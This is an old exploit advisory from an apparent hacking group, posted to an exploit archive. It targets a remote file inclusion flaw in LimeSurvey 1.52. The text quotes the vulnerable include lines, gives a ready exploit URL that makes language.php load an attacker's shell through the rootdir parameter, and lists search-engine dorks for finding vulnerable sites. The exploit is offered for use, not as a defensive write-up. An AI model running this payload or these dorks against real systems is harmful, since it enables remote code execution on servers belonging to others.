Home / exploits

PDF

limesurvey152-rfi.txt

Posted on 19 October 2007

\|///
\  - -  //      Xmors Underground Group
(  @ @ )
----oOOo--(_)-oOOo--------------------------------------------------
Portal   :  LimeSurvey (PHPSurveyor) 1.52 plus_build 2007.10.16
Download :  http://garr.dl.sourceforge.net/sourceforge/limesurvey/limesurvey152plus_build3386_20071016.zip
Author   :  S.W.A.T.
HomePage :  wWw.XmorS.CoM
Type     :  Remote File Inclusion
Y! ID    :  Svvateam
E-Mail   :  Svvateam@yahoo.com / S.W.4.T@hackermail.com
Dork     :  "You have not provided a survey identification number"
Dork2    :  "LimeSurvey"
----ooooO-----Ooooo--------------------------------------------------
(   )     (   )
 (       ) /
\_)     (_/

+---------------------------------------------------------------------------------------------+

Vuln Code :

require_once($rootdir.'/classes/php-gettext/gettext.php');

require_once($rootdir.'/classes/php-gettext/streams.php');

+---------------------------------------------------------------------------------------------+
+---------------------------------------------------------------------------------------------+

Exploit :

http://[TARGET]/[PATH]/classes/core/language.php?rootdir=[-Sh3ll-]


+---------------------------------------------------------------------------------------------+

 

TOP